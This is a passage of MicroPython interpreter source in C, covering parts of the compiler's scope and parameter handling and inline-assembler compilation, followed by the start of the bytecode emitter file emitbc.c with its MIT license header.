{ pt_extract_id(p, ¶m_name); if (comp->have_star) { // comes after a star, so counts as a keyword-only parameter comp->scope_cur->num_kwonly_args += 1; } else { // comes before a star, so counts as a positional parameter comp->scope_cur->num_pos_args += 1; } } else { if (pt_is_rule(p, pn_name)) { pt_extract_id(pt_rule_first(p), ¶m_name); if (comp->have_star) { // comes after a star, so counts as a keyword-only parameter comp->scope_cur->num_kwonly_args += 1; } else { // comes before a star, so counts as a positional parameter comp->scope_cur->num_pos_args += 1; } } else if (pt_is_rule(p, pn_star)) { if (comp->have_star) { // more than one star compile_syntax_error(comp, p, "invalid syntax"); return; } comp->have_star = true; param_flag = ID_FLAG_IS_PARAM | ID_FLAG_IS_STAR_PARAM; if (pt_is_rule_empty(p)) { // bare star // TODO see http://www.python.org/dev/peps/pep-3102/ //assert(comp->scope_cur->num_dict_params == 0); } else if (pt_is_any_id(pt_rule_first(p))) { // named star comp->scope_cur->scope_flags |= MP_SCOPE_FLAG_VARARGS; pt_extract_id(pt_rule_first(p), ¶m_name); } else { assert(pt_is_rule(pt_rule_first(p), PN_tfpdef)); // should be // named star with possible annotation comp->scope_cur->scope_flags |= MP_SCOPE_FLAG_VARARGS; pt_extract_id(pt_rule_first(pt_rule_first(p)), ¶m_name); } } else { assert(pt_is_rule(p, pn_dbl_star)); // should be pt_extract_id(pt_rule_first(p), ¶m_name); param_flag = ID_FLAG_IS_PARAM | ID_FLAG_IS_DBL_STAR_PARAM; comp->scope_cur->scope_flags |= MP_SCOPE_FLAG_VARKEYWORDS; } } if (param_name != MP_QSTR_NULL) { bool added; id_info_t *id_info = scope_find_or_add_id(comp->scope_cur, param_name, &added); if (!added) { compile_syntax_error(comp, p, "name reused for argument"); return; } id_info->kind = ID_INFO_KIND_LOCAL; id_info->flags = param_flag; } } STATIC void compile_scope_func_param(compiler_t *comp, const byte *p) { compile_scope_func_lambda_param(comp, p, PN_typedargslist_name, PN_typedargslist_star, PN_typedargslist_dbl_star); } STATIC void compile_scope_lambda_param(compiler_t *comp, const byte *p) { compile_scope_func_lambda_param(comp, p, PN_varargslist_name, PN_varargslist_star, PN_varargslist_dbl_star); } #if MICROPY_EMIT_NATIVE STATIC void compile_scope_func_annotations(compiler_t *comp, const byte *p) { if (pt_is_rule(p, PN_typedargslist_name)) { // named parameter with possible annotation // fallthrough } else if (pt_is_rule(p, PN_typedargslist_star)) { const byte *p0 = pt_rule_first(p); if (pt_is_rule(p0, PN_tfpdef)) { // named star with possible annotation p = p0; // fallthrough } else { // no annotation return; } } else if (pt_is_rule(p, PN_typedargslist_dbl_star)) { // double star with possible annotation // fallthrough } else { // no annotation return; } // p should be a rule whose first node is an identifier and second may be the annotation const byte *ptop; p = pt_rule_extract_top(p, &ptop); qstr param_name; p = pt_extract_id(p, ¶m_name); if (!pt_is_null_with_top(p, ptop)) { id_info_t *id_info = scope_find(comp->scope_cur, param_name); assert(id_info != NULL); if (pt_is_any_id(p)) { qstr arg_type; pt_extract_id(p, &arg_type); EMIT_ARG(set_native_type, MP_EMIT_NATIVE_TYPE_ARG, id_info->local_num, arg_type); } else { compile_syntax_error(comp, p, "parameter annotation must be an identifier"); } } } #endif // MICROPY_EMIT_NATIVE STATIC void compile_scope_comp_iter(compiler_t *comp, const byte *p_comp_for, const byte *p_comp_for_top, const byte *p_inner_expr, int for_depth) { uint l_top = comp_next_label(comp); uint l_end = comp_next_label(comp); EMIT_ARG(label_assign, l_top); EMIT_ARG(for_iter, l_end); c_assign(comp, p_comp_for, ASSIGN_STORE); const byte *p_iter = pt_next(pt_next(p_comp_for)); tail_recursion: if (p_iter == p_comp_for_top) { // no more nested if/for; compile inner expression compile_node(comp, p_inner_expr); if (comp->scope_cur->kind == SCOPE_GEN_EXPR) { EMIT(yield_value); EMIT(pop_top); } else { EMIT_ARG(store_comp, comp->scope_cur->kind, 4 * for_depth + 5); } } else if (pt_is_rule(p_iter, PN_comp_if)) { // if condition const byte *p0 = pt_rule_extract_top(p_iter, &p_comp_for_top); p_iter = c_if_cond(comp, p0, false, l_top); goto tail_recursion; } else { assert(pt_is_rule(p_iter, PN_comp_for)); // should be // for loop const byte *ptop; const byte *p0 = pt_rule_extract_top(p_iter, &ptop); p0 = pt_next(p0); // skip scope index compile_node(comp, pt_next(p0)); EMIT_ARG(get_iter, true); compile_scope_comp_iter(comp, p0, ptop, p_inner_expr, for_depth + 1); } EMIT_ARG(jump, l_top); EMIT_ARG(label_assign, l_end); EMIT(for_iter_end); } #if 0 STATIC void check_for_doc_string(compiler_t *comp, mp_parse_node_t pn) { #if MICROPY_ENABLE_DOC_STRING // see http://www.python.org/dev/peps/pep-0257/ // look for the first statement if (MP_PARSE_NODE_IS_STRUCT_KIND(pn, PN_expr_stmt)) { // a statement; fall through } else if (MP_PARSE_NODE_IS_STRUCT_KIND(pn, PN_file_input_2)) { // file input; find the first non-newline node mp_parse_node_struct_t *pns = (mp_parse_node_struct_t*)pn; int num_nodes = MP_PARSE_NODE_STRUCT_NUM_NODES(pns); for (int i = 0; i < num_nodes; i++) { pn = pns->nodes[i]; if (!(MP_PARSE_NODE_IS_LEAF(pn) && MP_PARSE_NODE_LEAF_KIND(pn) == MP_PARSE_NODE_TOKEN && MP_PARSE_NODE_LEAF_ARG(pn) == MP_TOKEN_NEWLINE)) { // not a newline, so this is the first statement; finish search break; } } // if we didn't find a non-newline then it's okay to fall through; pn will be a newline and so doc-string test below will fail gracefully } else if (MP_PARSE_NODE_IS_STRUCT_KIND(pn, PN_suite_block_stmts)) { // a list of statements; get the first one pn = ((mp_parse_node_struct_t*)pn)->nodes[0]; } else { return; } // check the first statement for a doc string if (MP_PARSE_NODE_IS_STRUCT_KIND(pn, PN_expr_stmt)) { mp_parse_node_struct_t *pns = (mp_parse_node_struct_t*)pn; if ((MP_PARSE_NODE_IS_LEAF(pns->nodes[0]) && MP_PARSE_NODE_LEAF_KIND(pns->nodes[0]) == MP_PARSE_NODE_STRING) || MP_PARSE_NODE_IS_STRUCT_KIND(pns->nodes[0], PN_string)) { // compile the doc string compile_node(comp, pns->nodes[0]); // store the doc string compile_store_id(comp, MP_QSTR___doc__); } } #else (void)comp; (void)pn; #endif } #endif STATIC void compile_scope(compiler_t *comp, scope_t *scope, pass_kind_t pass) { comp->pass = pass; comp->scope_cur = scope; comp->next_label = 0; EMIT_ARG(start_pass, pass, scope); if (comp->pass == MP_PASS_SCOPE) { // reset maximum stack sizes in scope // they will be computed in this first pass scope->stack_size = 0; scope->exc_stack_size = 0; } // compile if (pt_is_rule(scope->pn, PN_eval_input)) { assert(scope->kind == SCOPE_MODULE); compile_node(comp, pt_rule_first(scope->pn)); // compile the expression EMIT(return_value); } else if (scope->kind == SCOPE_MODULE) { if (!comp->is_repl) { //check_for_doc_string(comp, scope->pn); } compile_node(comp, scope->pn); EMIT_ARG(load_const_tok, MP_TOKEN_KW_NONE); EMIT(return_value); } else if (scope->kind == SCOPE_FUNCTION) { const byte *p = scope->pn; p = pt_next(p); // skip func name // work out number of parameters, keywords and default parameters, and add them to the id_info array // must be done before compiling the body so that arguments are numbered first (for LOAD_FAST etc) if (comp->pass == MP_PASS_SCOPE) { comp->have_star = false; apply_to_single_or_list(comp, p, PN_typedargslist, compile_scope_func_param); } #if MICROPY_EMIT_NATIVE else if (scope->emit_options == MP_EMIT_OPT_VIPER) { // compile annotations; only needed on latter compiler passes // only needed for viper emitter // argument annotations apply_to_single_or_list(comp, p, PN_typedargslist, compile_scope_func_annotations); const byte *p_ret = pt_next(p); // skip arg list // next node is return/whole function annotation if (pt_is_any_id(p_ret)) { qstr ret_type; pt_extract_id(p_ret, &ret_type); EMIT_ARG(set_native_type, MP_EMIT_NATIVE_TYPE_RETURN, 0, ret_type); } else if (!pt_is_null(p_ret)) { compile_syntax_error(comp, p_ret, "return annotation must be an identifier"); } } #endif // MICROPY_EMIT_NATIVE p = pt_next(p); // skip arg list p = pt_next(p); // skip return annotation compile_node(comp, p); // function body // emit return if it wasn't the last opcode if (!EMIT(last_emit_was_return_value)) { EMIT_ARG(load_const_tok, MP_TOKEN_KW_NONE); EMIT(return_value); } } else if (scope->kind == SCOPE_LAMBDA) { const byte *p = scope->pn; // work out number of parameters, keywords and default parameters, and add them to the id_info array // must be done before compiling the body so that arguments are numbered first (for LOAD_FAST etc) if (comp->pass == MP_PASS_SCOPE) { comp->have_star = false; apply_to_single_or_list(comp, p, PN_varargslist, compile_scope_lambda_param); } p = pt_next(p); // skip arg list compile_node(comp, p); // lambda body // if the lambda is a generator, then we return None, not the result of the expression of the lambda if (scope->scope_flags & MP_SCOPE_FLAG_GENERATOR) { EMIT(pop_top); EMIT_ARG(load_const_tok, MP_TOKEN_KW_NONE); } EMIT(return_value); } else if (scope->kind == SCOPE_LIST_COMP || scope->kind == SCOPE_DICT_COMP || scope->kind == SCOPE_SET_COMP || scope->kind == SCOPE_GEN_EXPR) { const byte *p = scope->pn; const byte *p_comp_for = pt_next(p); const byte *p_comp_for_top; p_comp_for = pt_rule_extract_top(p_comp_for, &p_comp_for_top); p_comp_for = pt_next(p_comp_for); // skip scope index // We need a unique name for the comprehension argument (the iterator). // CPython uses .0, but we should be able to use anything that won't // clash with a user defined variable. Best to use an existing qstr, // so we use the blank qstr. qstr qstr_arg = MP_QSTR_; if (comp->pass == MP_PASS_SCOPE) { bool added; id_info_t *id_info = scope_find_or_add_id(comp->scope_cur, qstr_arg, &added); assert(added); id_info->kind = ID_INFO_KIND_LOCAL; scope->num_pos_args = 1; } if (scope->kind == SCOPE_LIST_COMP) { EMIT_ARG(build_list, 0); } else if (scope->kind == SCOPE_DICT_COMP) { EMIT_ARG(build_map, 0); #if MICROPY_PY_BUILTINS_SET } else if (scope->kind == SCOPE_SET_COMP) { EMIT_ARG(build_set, 0); #endif } // There are 4 slots on the stack for the iterator, and the first one is // NULL to indicate that the second one points to the iterator object. if (scope->kind == SCOPE_GEN_EXPR) { // TODO static assert that MP_OBJ_ITER_BUF_NSLOTS == 4 EMIT(load_null); compile_load_id(comp, qstr_arg); EMIT(load_null); EMIT(load_null); } else { compile_load_id(comp, qstr_arg); EMIT_ARG(get_iter, true); } compile_scope_comp_iter(comp, p_comp_for, p_comp_for_top, p, 0); if (scope->kind == SCOPE_GEN_EXPR) { EMIT_ARG(load_const_tok, MP_TOKEN_KW_NONE); } EMIT(return_value); } else { assert(scope->kind == SCOPE_CLASS); if (comp->pass == MP_PASS_SCOPE) { bool added; id_info_t *id_info = scope_find_or_add_id(scope, MP_QSTR___class__, &added); assert(added); id_info->kind = ID_INFO_KIND_LOCAL; } // just to check, should remove this code qstr class_name; pt_extract_id(scope->pn, &class_name); assert(class_name == scope->simple_name); compile_load_id(comp, MP_QSTR___name__); compile_store_id(comp, MP_QSTR___module__); EMIT_ARG(load_const_str, scope->simple_name); compile_store_id(comp, MP_QSTR___qualname__); const byte *p = pt_next(pt_next(scope->pn)); // skip name, bases //check_for_doc_string(comp, p); compile_node(comp, p); // class body id_info_t *id = scope_find(scope, MP_QSTR___class__); assert(id != NULL); if (id->kind == ID_INFO_KIND_LOCAL) { EMIT_ARG(load_const_tok, MP_TOKEN_KW_NONE); } else { EMIT_LOAD_FAST(MP_QSTR___class__, id->local_num); } EMIT(return_value); } EMIT(end_pass); // make sure we match all the exception levels assert(comp->cur_except_level == 0); } #if MICROPY_EMIT_INLINE_ASM // requires 3 passes: SCOPE, CODE_SIZE, EMIT STATIC void compile_scope_inline_asm(compiler_t *comp, scope_t *scope, pass_kind_t pass) { comp->pass = pass; comp->scope_cur = scope; comp->next_label = 0; if (scope->kind != SCOPE_FUNCTION) { compile_syntax_error(comp, NULL, "inline assembler must be a function"); return; } if (comp->pass > MP_PASS_SCOPE) { EMIT_INLINE_ASM_ARG(start_pass, comp->pass, &comp->compile_error); } // get the function definition parse node const byte *p = scope->pn; assert(pt_is_any_id(p)); p = pt_next(p); // skip the function name // parameters are in next node if (comp->pass == MP_PASS_CODE_SIZE) { const byte *pp = p; const byte *pptop = mp_parse_node_extract_list(&pp, PN_typedargslist); scope->num_pos_args = EMIT_INLINE_ASM_ARG(count_params, pp, pptop); if (comp->compile_error != MP_OBJ_NULL) { goto inline_asm_error; } } p = pt_next(p); // skip the parameter list // function return annotation is in the next node mp_uint_t type_sig = MP_NATIVE_TYPE_INT; if (!pt_is_null(p)) { if (pt_is_any_id(p)) { qstr ret_type; pt_extract_id(p, &ret_type); switch (ret_type) { case MP_QSTR_object: type_sig = MP_NATIVE_TYPE_OBJ; break; case MP_QSTR_bool: type_sig = MP_NATIVE_TYPE_BOOL; break; case MP_QSTR_int: type_sig = MP_NATIVE_TYPE_INT; break; case MP_QSTR_uint: type_sig = MP_NATIVE_TYPE_UINT; break; default: compile_syntax_error(comp, p, "unknown type"); return; } } else { compile_syntax_error(comp, p, "return annotation must be an identifier"); } } p = pt_next(p); // move past function return annotation // get the list of statements within the body of the function const byte *ptop = mp_parse_node_extract_list(&p, PN_suite_block_stmts); for (const byte *p_instr = p; p_instr != ptop; p_instr = pt_next(p_instr)) { p = p_instr; if (pt_is_rule(p, PN_pass_stmt)) { // no instructions continue; } else if (!pt_is_rule(p, PN_expr_stmt)) { // not an instruction; error not_an_instruction: compile_syntax_error(comp, p, "expecting an assembler instruction"); return; } // check structure of parse node const byte *p_expr_top; const byte *p_expr = pt_rule_extract_top(p, &p_expr_top); if (!pt_is_rule(p_expr, PN_atom_expr_normal)) { goto not_an_instruction; } if (pt_next(p_expr) != p_expr_top) { goto not_an_instruction; } p_expr = pt_rule_extract_top(p_expr, &p_expr_top); if (!pt_is_any_id(p_expr)) { goto not_an_instruction; } const byte *p_expr_paren = pt_next(p_expr); if (p_expr_paren == p_expr_top || !pt_is_rule(p_expr_paren, PN_trailer_paren)) { goto not_an_instruction; } if (pt_next(p_expr_paren) != p_expr_top) { goto not_an_instruction; } // parse node looks like an instruction // get instruction name and args qstr op; pt_extract_id(p_expr, &op); const byte *p_args = pt_rule_first(p_expr_paren); const byte *p_args_top = mp_parse_node_extract_list(&p_args, PN_arglist); uint n_args = pt_num_nodes(p_args, p_args_top); // emit instructions if (op == MP_QSTR_label) { if (!(n_args == 1 && pt_is_any_id(p_args))) { compile_syntax_error(comp, p, "'label' requires 1 argument"); return; } uint lab = comp_next_label(comp); if (pass > MP_PASS_SCOPE) { qstr id; pt_extract_id(p_args, &id); if (!EMIT_INLINE_ASM_ARG(label, lab, id)) { compile_syntax_error(comp, p, "label redefined"); return; } } } else if (op == MP_QSTR_align) { if (!(n_args == 1 && pt_is_small_int(p_args))) { compile_syntax_error(comp, p, "'align' requires 1 argument"); return; } if (pass > MP_PASS_SCOPE) { mp_asm_base_align((mp_asm_base_t*)comp->emit_inline_asm, pt_small_int_value(p_args)); } } else if (op == MP_QSTR_data) { if (!(n_args >= 2 && pt_is_small_int(p_args))) { compile_syntax_error(comp, p, "'data' requires at least 2 arguments"); return; } if (pass > MP_PASS_SCOPE) { mp_int_t bytesize; p_args = pt_get_small_int(p_args, &bytesize); for (uint j = 1; j < n_args; j++) { if (!pt_is_small_int(p_args)) { compile_syntax_error(comp, p, "'data' requires integer arguments"); return; } mp_int_t val; p_args = pt_get_small_int(p_args, &val); mp_asm_base_data((mp_asm_base_t*)comp->emit_inline_asm, bytesize, val); } } } else { if (pass > MP_PASS_SCOPE) { if (n_args > 3) { goto not_an_instruction; } const byte *pn_arg[3]; pn_arg[0] = p_args; pn_arg[1] = pt_next(pn_arg[0]); pn_arg[2] = pt_next(pn_arg[1]); EMIT_INLINE_ASM_ARG(op, op, n_args, pn_arg); } } if (comp->compile_error != MP_OBJ_NULL) { goto inline_asm_error; } } if (comp->pass > MP_PASS_SCOPE) { EMIT_INLINE_ASM_ARG(end_pass, type_sig); if (comp->pass == MP_PASS_EMIT) { void *f = mp_asm_base_get_code((mp_asm_base_t*)comp->emit_inline_asm); mp_emit_glue_assign_native(comp->scope_cur->raw_code, MP_CODE_NATIVE_ASM, f, mp_asm_base_get_code_size((mp_asm_base_t*)comp->emit_inline_asm), NULL, comp->scope_cur->num_pos_args, 0, type_sig); } } if (comp->compile_error != MP_OBJ_NULL) { // inline assembler had an error; set line for its exception inline_asm_error: compile_error_set_line(comp, p); } } #endif STATIC void scope_compute_things(scope_t *scope) { // in Micro Python we put the *x parameter after all other parameters (except **y) if (scope->scope_flags & MP_SCOPE_FLAG_VARARGS) { id_info_t *id_param = NULL; for (int i = scope->id_info_len - 1; i >= 0; i--) { id_info_t *id = &scope->id_info[i]; if (id->flags & ID_FLAG_IS_STAR_PARAM) { if (id_param != NULL) { // swap star param with last param id_info_t temp = *id_param; *id_param = *id; *id = temp; } break; } else if (id_param == NULL && id->flags == ID_FLAG_IS_PARAM) { id_param = id; } } } // in functions, turn implicit globals into explicit globals // compute the index of each local scope->num_locals = 0; for (int i = 0; i < scope->id_info_len; i++) { id_info_t *id = &scope->id_info[i]; if (scope->kind == SCOPE_CLASS && id->qst == MP_QSTR___class__) { // __class__ is not counted as a local; if it's used then it becomes a ID_INFO_KIND_CELL continue; } if (SCOPE_IS_FUNC_LIKE(scope->kind) && id->kind == ID_INFO_KIND_GLOBAL_IMPLICIT) { id->kind = ID_INFO_KIND_GLOBAL_EXPLICIT; } // params always count for 1 local, even if they are a cell if (id->kind == ID_INFO_KIND_LOCAL || (id->flags & ID_FLAG_IS_PARAM)) { id->local_num = scope->num_locals++; } } // compute the index of cell vars for (int i = 0; i < scope->id_info_len; i++) { id_info_t *id = &scope->id_info[i]; // in Micro Python the cells come right after the fast locals // parameters are not counted here, since they remain at the start // of the locals, even if they are cell vars if (id->kind == ID_INFO_KIND_CELL && !(id->flags & ID_FLAG_IS_PARAM)) { id->local_num = scope->num_locals; scope->num_locals += 1; } } // compute the index of free vars // make sure they are in the order of the parent scope if (scope->parent != NULL) { int num_free = 0; for (int i = 0; i < scope->parent->id_info_len; i++) { id_info_t *id = &scope->parent->id_info[i]; if (id->kind == ID_INFO_KIND_CELL || id->kind == ID_INFO_KIND_FREE) { for (int j = 0; j < scope->id_info_len; j++) { id_info_t *id2 = &scope->id_info[j]; if (id2->kind == ID_INFO_KIND_FREE && id->qst == id2->qst) { assert(!(id2->flags & ID_FLAG_IS_PARAM)); // free vars should not be params // in Micro Python the frees come first, before the params id2->local_num = num_free; num_free += 1; } } } } // in Micro Python shift all other locals after the free locals if (num_free > 0) { for (int i = 0; i < scope->id_info_len; i++) { id_info_t *id = &scope->id_info[i]; if (id->kind != ID_INFO_KIND_FREE || (id->flags & ID_FLAG_IS_PARAM)) { id->local_num += num_free; } } scope->num_pos_args += num_free; // free vars are counted as params for passing them into the function scope->num_locals += num_free; } } } #if !MICROPY_PERSISTENT_CODE_SAVE STATIC #endif mp_raw_code_t *mp_compile_to_raw_code(mp_parse_tree_t *parse_tree, qstr source_file, uint emit_opt, bool is_repl) { // put compiler state on the stack, it's relatively small compiler_t comp_state = {0}; compiler_t *comp = &comp_state; comp->source_file = source_file; comp->is_repl = is_repl; comp->co_data = parse_tree->co_data; comp->break_label = INVALID_LABEL; comp->continue_label = INVALID_LABEL; // create the array of scopes comp->num_scopes = pt_small_int_value(pt_next(parse_tree->root)); comp->scopes = m_new0(scope_t*, comp->num_scopes); // create the module scope scope_new_and_link(comp, 0, SCOPE_MODULE, parse_tree->root, emit_opt); // create standard emitter; it's used at least for MP_PASS_SCOPE emit_t *emit_bc = emit_bc_new(); // compile pass 1 comp->emit = emit_bc; #if MICROPY_EMIT_NATIVE comp->emit_method_table = &emit_bc_method_table; #endif uint max_num_labels = 0; // grrr: scope for nested comp_for's are not used, unless they are parenthesised // and become individual generators; in this case they are parsed in the wrong // direction for allocation of scope id bool keep_going = true; while (keep_going) { keep_going = false; for (uint i = 0; i < comp->num_scopes && comp->compile_error == MP_OBJ_NULL; ++i) { scope_t *s = comp->scopes[i]; if (s == NULL) { continue; } // no scope (yet?) if (s->raw_code != NULL) { continue; } // scope already did pass 1 keep_going = true; s->raw_code = mp_emit_glue_new_raw_code(); if (false) { #if MICROPY_EMIT_INLINE_ASM } else if (s->emit_options == MP_EMIT_OPT_ASM) { compile_scope_inline_asm(comp, s, MP_PASS_SCOPE); #endif } else { compile_scope(comp, s, MP_PASS_SCOPE); } // update maximim number of labels needed if (comp->next_label > max_num_labels) { max_num_labels = comp->next_label; } } } // compute some things related to scope and identifiers for (uint i = 0; i < comp->num_scopes && comp->compile_error == MP_OBJ_NULL; ++i) { scope_t *s = comp->scopes[i]; if (s == NULL) { continue; } // TODO scope for nested comp_for's are not used scope_compute_things(s); } // set max number of labels now that it's calculated emit_bc_set_max_num_labels(emit_bc, max_num_labels); // compile pass 2 and 3 #if MICROPY_EMIT_NATIVE emit_t *emit_native = NULL; #endif for (uint i = 0; i < comp->num_scopes && comp->compile_error == MP_OBJ_NULL; ++i) { scope_t *s = comp->scopes[i]; if (s == NULL) { continue; } if (false) { // dummy #if MICROPY_EMIT_INLINE_ASM } else if (s->emit_options == MP_EMIT_OPT_ASM) { // inline assembly if (comp->emit_inline_asm == NULL) { comp->emit_inline_asm = ASM_EMITTER(new)(comp->co_data, max_num_labels); } comp->emit = NULL; comp->emit_inline_asm_method_table = &ASM_EMITTER(method_table); compile_scope_inline_asm(comp, s, MP_PASS_CODE_SIZE); #if MICROPY_EMIT_INLINE_XTENSA // Xtensa requires an extra pass to compute size of l32r const table // TODO this can be improved by calculating it during SCOPE pass // but that requires some other structural changes to the asm emitters compile_scope_inline_asm(comp, s, MP_PASS_CODE_SIZE); #endif if (comp->compile_error == MP_OBJ_NULL) { compile_scope_inline_asm(comp, s, MP_PASS_EMIT); } #endif } else { // choose the emit type switch (s->emit_options) { #if MICROPY_EMIT_NATIVE case MP_EMIT_OPT_NATIVE_PYTHON: case MP_EMIT_OPT_VIPER: #if MICROPY_EMIT_X64 if (emit_native == NULL) { emit_native = emit_native_x64_new(&comp->compile_error, max_num_labels); } comp->emit_method_table = &emit_native_x64_method_table; #elif MICROPY_EMIT_X86 if (emit_native == NULL) { emit_native = emit_native_x86_new(&comp->compile_error, max_num_labels); } comp->emit_method_table = &emit_native_x86_method_table; #elif MICROPY_EMIT_THUMB if (emit_native == NULL) { emit_native = emit_native_thumb_new(&comp->compile_error, max_num_labels); } comp->emit_method_table = &emit_native_thumb_method_table; #elif MICROPY_EMIT_ARM if (emit_native == NULL) { emit_native = emit_native_arm_new(&comp->compile_error, max_num_labels); } comp->emit_method_table = &emit_native_arm_method_table; #endif comp->emit = emit_native; EMIT_ARG(set_native_type, MP_EMIT_NATIVE_TYPE_ENABLE, s->emit_options == MP_EMIT_OPT_VIPER, 0); break; #endif // MICROPY_EMIT_NATIVE default: comp->emit = emit_bc; #if MICROPY_EMIT_NATIVE comp->emit_method_table = &emit_bc_method_table; #endif break; } // need a pass to compute stack size compile_scope(comp, s, MP_PASS_STACK_SIZE); // second last pass: compute code size if (comp->compile_error == MP_OBJ_NULL) { compile_scope(comp, s, MP_PASS_CODE_SIZE); } // final pass: emit code if (comp->compile_error == MP_OBJ_NULL) { compile_scope(comp, s, MP_PASS_EMIT); } } } if (comp->compile_error != MP_OBJ_NULL) { // if there is no line number for the error then use the line // number for the start of this scope compile_error_set_line(comp, comp->scope_cur->pn); // add a traceback to the exception using relevant source info mp_obj_exception_add_traceback(comp->compile_error, comp->source_file, comp->compile_error_line, comp->scope_cur->simple_name); } // free the emitters emit_bc_free(emit_bc); #if MICROPY_EMIT_NATIVE if (emit_native != NULL) { #if MICROPY_EMIT_X64 emit_native_x64_free(emit_native); #elif MICROPY_EMIT_X86 emit_native_x86_free(emit_native); #elif MICROPY_EMIT_THUMB emit_native_thumb_free(emit_native); #elif MICROPY_EMIT_ARM emit_native_arm_free(emit_native); #endif } #endif #if MICROPY_EMIT_INLINE_ASM if (comp->emit_inline_asm != NULL) { ASM_EMITTER(free)(comp->emit_inline_asm); } #endif // free the parse tree mp_parse_tree_clear(parse_tree); mp_raw_code_t *outer_raw_code = comp->scopes[0]->raw_code; // free the scopes for (uint i = 0; i < comp->num_scopes; ++i) { if (comp->scopes[i] == NULL) { continue; } // TODO scope for nested comp_for's are not used scope_free(comp->scopes[i]); } m_del(scope_t*, comp->scopes, comp->num_scopes); if (comp->compile_error != MP_OBJ_NULL) { nlr_raise(comp->compile_error); } else { return outer_raw_code; } } mp_obj_t mp_compile(mp_parse_tree_t *parse_tree, qstr source_file, uint emit_opt, bool is_repl) { mp_raw_code_t *rc = mp_compile_to_raw_code(parse_tree, source_file, emit_opt, is_repl); // return function that executes the outer module return mp_make_function_from_raw_code(rc, MP_OBJ_NULL, MP_OBJ_NULL); } #endif // MICROPY_ENABLE_COMPILER && MICROPY_USE_SMALL_HEAP_COMPILER ================================================ FILE: micropython/source/py/emitbc.c ================================================ /* * This file is part of the MicroPython project, http://micropython.org/ * * The MIT License (MIT) * * Copyright (c) 2013, 2014 Damien P. George * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ #include #include #include #include #include #include "py/mpstate.h" #include "py/emit.h" #include "py/bc0.h" #if MICROPY_ENABLE_COMPILER #define BYTES_FOR_INT ((BYTES_PER_WORD * 8 + 6) / 7) #define DUMMY_DATA_SIZE (BYTES_FOR_INT) struct _emit_t { // Accessed as mp_obj_t, so must be aligned as such, and we rely on the // memory allocator returning a suitably aligned pointer. // Should work for cases when mp_obj_t is 64-bit on a 32-bit machine. byte dummy_data[DUMMY_DATA_SIZE]; pass_kind_t pass : 8; mp_uint_t last_emit_was_return_value : 8; int stack_size; scope_t *scope; mp_uint_t last_source_line_offset; mp_uint_t last_source_line; mp_uint_t max_num_labels; mp_uint_t *label_offsets; size_t code_info_offset; size_t code_info_size; size_t bytecode_offset; size_t bytecode_size; byte *code_base; // stores both byte code and code info #if MICROPY_PERSISTENT_CODE uint16_t ct_cur_obj; uint16_t ct_num_obj; uint16_t ct_cur_raw_code; #endif mp_uint_t *const_table; }; emit_t *emit_bc_new(void) { emit_t *emit = m_new0(emit_t, 1); return emit; } void emit_bc_set_max_num_labels(emit_t *emit, mp_uint_t max_num_labels) { emit->max_num_labels = max_num_labels; emit->label_offsets = m_new(mp_uint_t, emit->max_num_labels); } void emit_bc_free(emit_t *emit) { m_del(mp_uint_t, emit->label_offsets, emit->max_num_labels); m_del_obj(emit_t, emit); } typedef byte *(*emit_allocator_t)(emit_t *emit, int nbytes); STATIC void emit_write_uint(emit_t *emit, emit_allocator_t allocator, mp_uint_t val) { // We store each 7 bits in a separate byte, and that's how many bytes needed byte buf[BYTES_FOR_INT]; byte *p = buf + sizeof(buf); // We encode in little-ending order, but store in big-endian, to help decoding do { *--p = val & 0x7f; val >>= 7; } while (val != 0); byte *c = allocator(emit, buf + sizeof(buf) - p); while (p != buf + sizeof(buf) - 1) { *c++ = *p++ | 0x80; } *c = *p; } // all functions must go through this one to emit code info STATIC byte *emit_get_cur_to_write_code_info(emit_t *emit, int num_bytes_to_write) { //printf("emit %d\n", num_bytes_to_write); if (emit->pass < MP_PASS_EMIT) { emit->code_info_offset += num_bytes_to_write; return emit->dummy_data; } else { assert(emit->code_info_offset + num_bytes_to_write <= emit->code_info_size); byte *c = emit->code_base + emit->code_info_offset; emit->code_info_offset += num_bytes_to_write; return c; } } STATIC void emit_write_code_info_byte(emit_t* emit, byte val) { *emit_get_cur_to_write_code_info(emit, 1) = val; } STATIC void emit_write_code_info_uint(emit_t* emit, mp_uint_t val) { emit_write_uint(emit, emit_get_cur_to_write_code_info, val); } STATIC void emit_write_code_info_qstr(emit_t *emit, qstr qst) { #if MICROPY_PERSISTENT_CODE assert((qst >> 16) == 0); byte *c = emit_get_cur_to_write_code_info(emit, 2); c[0] = qst; c[1] = qst >> 8; #else emit_write_uint(emit, emit_get_cur_to_write_code_info, qst); #endif } #if MICROPY_ENABLE_SOURCE_LINE STATIC void emit_write_code_info_bytes_lines(emit_t *emit, mp_uint_t bytes_to_skip, mp_uint_t lines_to_skip) { assert(bytes_to_skip > 0 || lines_to_skip > 0); //printf(" %d %d\n", bytes_to_skip, lines_to_skip); while (bytes_to_skip > 0 || lines_to_skip > 0) { mp_uint_t b, l; if (lines_to_skip <= 6 || bytes_to_skip > 0xf) { // use 0b0LLBBBBB encoding b = MIN(bytes_to_skip, 0x1f); if (b < bytes_to_skip) { // we can't skip any lines until we skip all the bytes l = 0; } else { l = MIN(lines_to_skip, 0x3); } *emit_get_cur_to_write_code_info(emit, 1) = b | (l << 5); } else { // use 0b1LLLBBBB 0bLLLLLLLL encoding (l's LSB in second byte) b = MIN(bytes_to_skip, 0xf); l = MIN(lines_to_skip, 0x7ff); byte *ci = emit_get_cur_to_write_code_info(emit, 2); ci[0] = 0x80 | b | ((l >> 4) & 0x70); ci[1] = l; } bytes_to_skip -= b; lines_to_skip -= l; } } #endif // all functions must go through this one to emit byte code STATIC byte 